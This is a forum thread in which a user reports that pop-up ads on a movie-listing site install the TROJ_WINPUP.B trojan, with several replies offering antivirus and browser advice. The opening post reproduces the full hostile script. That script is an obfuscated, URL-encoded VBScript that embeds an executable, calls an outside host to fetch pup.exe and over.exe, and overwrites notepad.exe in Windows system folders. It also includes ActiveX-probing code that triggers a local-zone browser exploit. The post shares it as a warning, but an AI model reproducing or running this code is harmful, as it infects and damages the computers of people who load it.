VCDQuality Forums (http://www.vcdhq.com/forum/index.php)
- Site News and Discussion (http://www.vcdhq.com/forum/forumdisplay.php?forumid=3)
-- Virus coming from VCDquality pop up ad (http://www.vcdhq.com/forum/showthread.php?threadid=35803)

Virus TROJ_WINPUP.B coming from VCDquality pop up ad

Twice when viewing details such as http://www.vcdquality.com/info.php?id=24477 when the pop up windows start opening one overwrites notepad.exe with the virus TROJ_WINPUP.B by the same file name.

Now before you think I am some crackpot this is the second time in 3 days this has happened when viewing a movie's details on this site. So I know it's comming from one of this site's popups. As soon as the page loads and popups start windows informs me of the file being overwritten then my virus software pops up.

Maybe you people want to look into this.

As a point of interest it does not happen with every page load. Only twice, but as soon as the popups load the virus appears.

This is the script that caused the virus to load:


<SCRIPT>
base_path="http://www.achtungachtung.com/2k";

function LaunchSelfExec3()


{

document. write(unescape('%3Cscript%20language%3D%22vbs%22%3
E%0D%0A%0D%0Adomain%20%3D%

20%22retardedinternetgeek. com%22%0D%0AFunction%20getPup%28%29%0D%0Adirectory
%20%3D%20

%22http%3A//%22+domain+%22/pup. exe%22%0D%0Athestr%20%3D%20%22%22%0D%0AFor%20i%20%
3D%2

01%20to%2049%0D%0Aif%20i%20%3C%3D%20Len%28director
y%29%20Then%20thestr%3Dthestr%20%26

%20Asc%28Mid%28directory%2Ci%2C1%29%29%20Else%20th
estr%3Dthestr%20%26%20%220%22%0D%0A

thestr%3Dthestr%20%26%20%22%2C%22%0D%0ANext%0D%0Ag
etPup%20%3D%20thestr%0D%0AEnd%20Fun

ction%0D%0AFunction%20getOver%28%29%0D%0Adirectory
%20%3D%20%22http%3A//%22+domain+%22

/over. exe%22%0D%0Athestr%20%3D%20%22%22%0D%0AFor%20i%20%
3D%201%20to%2050%0D%0Aif%20i%

20%3C%3D%20Len%28directory%29%20Then%20thestr%3Dth
estr%20%26%20Asc%28Mid%28directory%

2Ci%2C1%29%29%20Else%20thestr%3Dthestr%20%26%20%22
0%22%0D%0Athestr%3Dthestr%20%26%20%

22%2C%22%0D%0ANext%0D%0AgetOver%20%3D%20thestr%0D%
0AEnd%20Function%0D%0A%0D%0A%09jelm

ersArray%3D%20eval%28%22array%2877%2C90%2C144%2C0%
2C3%2C0%2C0%2C0%2C4%2C0%2C0%2C0%2C2

55%2C255%2C0%2C0%2C184%2C0%2C0%2C0%2C0%2C0%2C0%2C0
%2C64%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2

C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0
%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C

0%2C0%2C0%2C0%2C0%2C0%2C0%2C176%2C0%2C0%2C0%2C14%2
C31%2C186%2C14%2C0%2C180%2C9%2C205%

2C33%2C184%2C1%2C76%2C205%2C33%2C84%2C104%2C105%2C
115%2C32%2C112%2C114%2C111%2C103%2C

114%2C97%2C109%2C32%2C99%2C97%2C110%2C110%2C111%2C
116%2C32%2C98%2C101%2C32%2C114%2C11

7%2C110%2C32%2C105%2C110%2C32%2C68%2C79%2C83%2C32%
2C109%2C111%2C100%2C101%2C46%2C13%2

C13%2C10%2C36%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C93%2C2
07%2C159%2C135%2C25%2C174%2C241%2C2

12%2C25%2C174%2C241%2C212%2C25%2C174%2C241%2C212%2
C151%2C177%2C226%2C212%2C19%2C174%2

C241%2C212%2C229%2C142%2C227%2C212%2C24%2C174%2C24
1%2C212%2C82%2C105%2C99%2C104%2C25%

2C174%2C241%2C212%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%
2C80%2C69%2C0%2C0%2C76%2C1%2C2%2C0%

2C176%2C227%2C232%2C63%2C0%2C0%2C0%2C0%2C0%2C0%2C0
%2C0%2C224%2C0%2C15%2C1%2C11%2C1%2C

5%2C12%2C0%2C2%2C0%2C0%2C0%2C2%2C0%2C0%2C0%2C0%2C0
%2C0%2C0%2C16%2C0%2C0%2C0%2C16%2C0%

2C0%2C0%2C32%2C0%2C0%2C0%2C0%2C64%2C0%2C0%2C16%2C0
%2C0%2C0%2C2%2C0%2C0%2C4%2C0%2C0%2C

0%2C0%2C0%2C0%2C0%2C4%2C0%2C0%2C0%2C0%2C0%2C0%2C0%
2C0%2C48%2C0%2C0%2C0%2C2%2C0%2C0%2C

0%2C0%2C0%2C0%2C2%2C0%2C0%2C0%2C0%2C0%2C16%2C0%2C0
%2C16%2C0%2C0%2C0%2C0%2C16%2C0%2C0%

2C16%2C0%2C0%2C0%2C0%2C0%2C0%2C16%2C0%2C0%2C0%2C0%
2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C24%2C

32%2C0%2C0%2C80%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C
0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2

C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0
%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C

0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%
2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0

%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2
C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%

2C0%2C0%2C0%2C32%2C0%2C0%2C24%2C0%2C0%2C0%2C0%2C0%
2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0

%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2
C0%2C46%2C116%2C101%2C120%2C116%2C0

%2C0%2C0%2C50%2C1%2C0%2C0%2C0%2C16%2C0%2C0%2C0%2C2
%2C0%2C0%2C0%2C2%2C0%2C0%2C0%2C0%2C

0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C32%2C0%2C0
%2C96%2C46%2C114%2C100%2C97%2C116%2

C97%2C0%2C0%2C218%2C0%2C0%2C0%2C0%2C32%2C0%2C0%2C0
%2C2%2C0%2C0%2C0%2C4%2C0%2C0%2C0%2C

0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C64%2C0
%2C0%2C64%2C0%2C0%2C0%2C0%2C0%2C0%2

C0%2C0%2C233%2C175%2C0%2C0%2C0%2C99%2C58%2C92%2C80
%2C114%2C111%2C103%2C114%2C97%2C109

%2C32%2C70%2C105%2C108%2C101%2C115%2C92%2C112%2C11
7%2C112%2C46%2C101%2C120%2C101%2C0%

2C%22+getPup%28%29+%220%2C99%2C58%2C92%2C80%2C114%
2C111%2C103%2C114%2C97%2C109%2C32%2

C70%2C105%2C108%2C101%2C115%2C92%2C111%2C118%2C101
%2C114%2C46%2C101%2C120%2C101%2C0%2

C%22+getOver%28%29+%220%2C99%2C58%2C92%2C80%2C114%
2C111%2C103%2C114%2C97%2C109%2C32%2

C70%2C105%2C108%2C101%2C115%2C0%2C111%2C112%2C101%
2C110%2C0%2C0%2C106%2C0%2C106%2C0%2

C104%2C5%2C16%2C64%2C0%2C104%2C30%2C16%2C64%2C0%2C
106%2C0%2C232%2C87%2C0%2C0%2C0%2C10

6%2C0%2C104%2C157%2C16%2C64%2C0%2C104%2C179%2C16%2
C64%2C0%2C104%2C5%2C16%2C64%2C0%2C1

04%2C174%2C16%2C64%2C0%2C106%2C0%2C232%2C70%2C0%2C
0%2C0%2C106%2C0%2C106%2C0%2C104%2C8

0%2C16%2C64%2C0%2C104%2C106%2C16%2C64%2C0%2C106%2C
0%2C232%2C37%2C0%2C0%2C0%2C106%2C0%

2C104%2C157%2C16%2C64%2C0%2C104%2C179%2C16%2C64%2C
0%2C104%2C80%2C16%2C64%2C0%2C104%2C

174%2C16%2C64%2C0%2C106%2C0%2C232%2C20%2C0%2C0%2C0
%2C106%2C0%2C232%2C7%2C0%2C0%2C0%2C

204%2C255%2C37%2C16%2C32%2C64%2C0%2C255%2C37%2C0%2
C32%2C64%2C0%2C255%2C37%2C8%2C32%2C

64%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0
%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C

0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%
2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0

%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2
C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%

2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C
0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2

C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0
%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C

0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%
2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0

%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2
C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%

2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C
0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2

C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0
%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C

0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%
2C0%2C0%2C0%2C0%2C162%2C32%2C0%2C0%

2C0%2C0%2C0%2C0%2C190%2C32%2C0%2C0%2C0%2C0%2C0%2C0
%2C128%2C32%2C0%2C0%2C0%2C0%2C0%2C0

%2C120%2C32%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C
0%2C150%2C32%2C0%2C0%2C16%2C32%2C0%

2C0%2C104%2C32%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0
%2C0%2C176%2C32%2C0%2C0%2C0%2C32%2C

0%2C0%2C112%2C32%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2
C0%2C0%2C206%2C32%2C0%2C0%2C8%2C32%

2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C
0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2

C0%2C162%2C32%2C0%2C0%2C0%2C0%2C0%2C0%2C190%2C32%2
C0%2C0%2C0%2C0%2C0%2C0%2C128%2C32%2

C0%2C0%2C0%2C0%2C0%2C0%2C49%2C0%2C85%2C82%2C76%2C6
8%2C111%2C119%2C110%2C108%2C111%2C9

7%2C100%2C84%2C111%2C70%2C105%2C108%2C101%2C65%2C0
%2C0%2C117%2C114%2C108%2C109%2C111%

2C110%2C46%2C100%2C108%2C108%2C0%2C0%2C128%2C0%2C6
9%2C120%2C105%2C116%2C80%2C114%2C11

1%2C99%2C101%2C115%2C115%2C0%2C107%2C101%2C114%2C1
10%2C101%2C108%2C51%2C50%2C46%2C100

%2C108%2C108%2C0%2C0%2C103%2C0%2C83%2C104%2C101%2C
108%2C108%2C69%2C120%2C101%2C99%2C1

17%2C116%2C101%2C65%2C0%2C115%2C104%2C101%2C108%2C
108%2C51%2C50%2C46%2C100%2C108%2C10

8%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%
2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0

%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2
C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%

2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C
0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2

C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0
%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C

0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%
2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0

%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2
C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%

2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C
0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2

C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0
%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C

0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%
2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0

%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2
C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%

2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C
0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2

C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0
%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C

0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%
2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0

%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2
C0%2C0%2C0%2C0%2C0%2C0%2C0%29%22%29

%0D%0A%0D%0A%0D%0Awin2k%3D%22c%3A%5Cwinnt%5Csystem
32%5Cnotepad.exe%20%22%0D%0Awin2ok%

3D%22c%3A%5Cwinnt%5Cnotepad. exe%20%22%0D%0Awinxp%3D%22c%3A%5Cwindows%5Csystem3
2%5Cnot

epad.exe%22%0D%0Awinxpee%3D%22c%3A%5Cwindows%5Cnotepad.exe%22%0D%0Awin98%3D%22c%3A%5C

windows%5Cnotepad. exe%22%0D%0Awin98ate%3D%22c%3A%5Cwindows%5Csystem3
2%5Cnotepad.exe%2

2%0D%0A%0D%0AFunction%20toString%28payloadArray%29
%0D%0AFor%20Each%20arrayElement%20I

n%20payloadArray%0D%0AtoString%20%3D%20toString%20
%26%20ChrB%28arrayElement%29%0D%0AN

ext%0D%0AEnd%20Function%0D%0AConst%20adTypeBinary%
20%3D%201%0D%0AConst%20adTypeText%2

0%3D%202%0D%0AConst%20adSaveCreateOverWrite%20%3D%
202%0D%0A%09%0D%0Aset%20jelmer%20%3

D%20CreateObject%28%22Adodb.Stream%22%29%0D%0Ajelmer.Type%20%3D%20adTypeText%0D%0Ajel

mer.Open%0D%0Ajelmer. WriteText%20toString%28jelmersArray%29%0D%0Ajelmer
.Position%20%3

D%200%0D%0Ajelmer.Type%20%3D%20adTypeBinary%09%0D%0Ajelmer.Position%20%3D%202%0D%0Aby

tearray%20%3D%20jelmer.Read%0D%0Ajelmer.Close%0D%0A%09%0D%0Aset%20malware%20%3D%20Cre

ateObject%28%22Adodb.Stream%22%29%0D%0Amalware.Type%20%3D%20adTypeBinary%0D%0Amalware

.Open%0D%0Amalware. Write%20bytearray%20%0D%0AOn%20Error%20Resume%20Ne
xt%20%0D%0Amalwa

re. savetofile%28win2k%29%2C%20adSaveCreateOverWrite%0
D%0AOn%20Error%20Resume%20Next%0

D%0Amalware. savetofile%28win2ok%29%2C%20adSaveCreateOverWrite%
0D%0AOn%20Error%20Resum

e%20Next%0D%0Amalware. savetofile%28winxp%29%2C%20adSaveCreateOverWrite%0
D%0AOn%20Erro

r%20Resume%20Next%0D%0Amalware. savetofile%28winxpee%29%2C%20adSaveCreateOverWrite
%0D%

0AOn%20Error%20Resume%20Next%0D%0Amalware.savetofile%28win98%29%2C%20adSaveCreateOver

Write%0D%0AOn%20Error%20Resume%20Next%0D%0Amalware
.savetofile%28win9ate%29%2C%20adSav

eCreateOverWrite%0D%0AOn%20Error%20Resume%20Next%0
D%0Amalware.Close%09%0D%0Adocument.

location%3D%22view-source%3A%22+document.location.href%0D%0A%3C/script%3E'));
document.close();
parent.close();
}

function IsMyComputerZone()
{


StartIndex="file:///".length;



if(location.href.indexOf("://",StartIndex)==-1) //if no "://" is found after

"file:///"
return false;
else


return true;
}

if(IsMyComputerZone())
{
LaunchSelfExec3()


}

function startRun() {
if(!IsMyComputerZone()) {
w=window.open("","_blank");


w.moveTo(5000,5000);
w.location=base_path+"/parselocalfile.htm?"+location.href;


w.blur();
}
}
</SCRIPT>

<script>parasite_status= 'NoIE';
/*@cc_on
@if (@_jscript_version>4)
parasite= {

defs: [
['FFEEDDCC-BBAA-9988-7766-554433221100','(control)','',''],
['F414C260-6AC0-11CF-B6D1-00AA00BBBB58','(control)','',''],

['1EEC3C99-7AA3-4F6E-B381-AF6942B51618','PUP','AS',''],
['00EF2092-6AC5-47c0-BD25-CF2D5D657FEB','Google','AS','']
],

warn: 'Warning!',
infest1: 'Your browser appears to have the "',
infest2: '" parasite installed',
prob1: '. This software ',
can: 'can ',
may: 'may ',
and: ' and ',
infest3: '. It might have been installed without your knowledge. ',

delay: 500,

write: function(doc) {

var i, p, h= '';
var cb= (doc.implementation)?'view-source:about :blank':'java script:';
h= '<div id="parasite" style="display: none;">';
for (i= this.defs.length; i-->0 {
p= this.defs[i];
if (p[0].length==36) {

h+= '<object id="parasite_o'+i+'" classid="clsid:'+p[0]+'" ';
h+= 'codebase="'+cb+'"> <\/object>';
}
}
h+= '<\/div>';
doc.write(h);
parasite_status= 'wait';
},

check: function(doc) {
var i, p, pmv, h, el, infs= [];
if (doc.all['parasite_o0']) return;
for (i= this.defs.length; i-->2 {
p= this.defs[i]
if (p[0].length==36) {
el= doc.all['parasite_o'+i];
if (el && el.readyState!=0)
infs[infs.length]= p;
} else { try {
el= new ActiveXObject(p[0]);
infs[infs.length]= p;
} catch(e) {}}
}
el= doc.all['parasite'];
if (infs.length==0) {
// THIS IS WHAT WE DO IF IT'S NOT INSTALLED
startRun();
parasite_status= (doc.all['parasite_o1']) ? 'clean' : 'NoAX';
return;
}
parasite_status= 'dirty';
// THIS IS WHAT WE DO IF IT'S INSTALLED
},

listprobs: function(s) {
var i, r= '';
for (i= 0; i<s.length; i++) {
r= r+this[s.charAt(i)];
if (i==s.length-2) r= r+this.and;
if (i<s.length-2) r= r+', ';
}
return r;
}
}

if (typeof(document)=='undefined') {
var ie= WScript.createObject('InternetExplorer.Application');
ie.navigate('about :blank');
ie.visible= true;
var doc= ie.document;
parasite.write(doc);
do {
WScript.Sleep(parasite.delay);
parasite.check(ie.document);
} while (parasite_status=='wait');
if (parasite_status=='clean') {
doc.body.innerHTML= 'Nothing found';
}
} else {
parasite.write(document);
var parasite_check= function() {
parasite.check(document);
if (parasite_status=='wait') {
setTimeout(parasite_check, parasite.delay);

}
}
setTimeout(parasite_check, parasite.delay);
}
@end @*/
</script>

That has been happening to be aswell, but i was not really sure if it was from here...

Oh well guess iam now.

we've never had pop-up ads (or havent used any lately)......

and theres no need to post this in multiple parts of the forum.

__________________
cC.

quote:

---

Originally posted by cofferscuffs
we've never had pop-up ads (or havent used any lately)......

and theres no need to post this in multiple parts of the forum.

---

Your thread in general was deleted for, i guess, two reasons. One that you already posted it here & two that this IS the correct place for it. And this section of the forum is read just like the rest.

As for the popups, im pretty sure the site does have them, but since i donated i don't get them (good for me i guess heh) but i agree it shouldn't be shrugged off.

__________________
"Allen is having a small problem and needs help adjusting his additude" - Flutterby
"K meet of a the have we come in" - fisher @ SummaDayze '04, wtf?

There, I solved the problem for this guy....sorta. He had a valid point at first, then he ruined it by being an ass.

My advice, get better virus protection. No one else has mentioned this, so either we're all being infected without knowing it or you've got something else going on.

-K

__________________
"Allen is having a small problem and needs help adjusting his additude" - Flutterby
"K meet of a the have we come in" - fisher @ SummaDayze '04, wtf?

yea i was having the same prob as this guy kind of it didn't happen all the time and norton got it every time so to me it wasn't that big of a deal... and norton only started dectecting it when i upgraded to the new one... so i thought that it was probably one of its new features that has to do with spyware...

__________________

Audioscrobbler is awesome!

Yeah, it would also be a good idea to use some sort of spyware remover like Spybot (or whatever floats your boat) along with Norton because if you go to more than 4 web pages, you're going to have a good shot at picking up something.

-K

yea i use ad aware and spybot

__________________

Audioscrobbler is awesome!

ditching IE and using mozilla works great too.

Just signed up to let you know that guy isn't crazy.

Today when I visited the site I got the same thing. Looks like its an IE exploit to force software on your machine. Im guessing it checks to see what browser and OS your running then redirects you to the relevant exploit on www.achtungachtung.com for your browser/OS combination.

Norton 2004 catches the dodgy code in the html file in your temp internet files folder as you read the page. There was a weird popup for me when it happened.

Its obviously not happening to everyone but it is happening. Im guessing you have some ad banner type rotation thing so maybe that is why it dosn't show up all the time. Thats the only reason I can think of as to why it only happens sometimes. If you grab your adds from an external source then maybe one of the advertisers isn't playing fair....

Feel free to flame me for 1 post here but im just trying to help you guys out and stop others being infected too.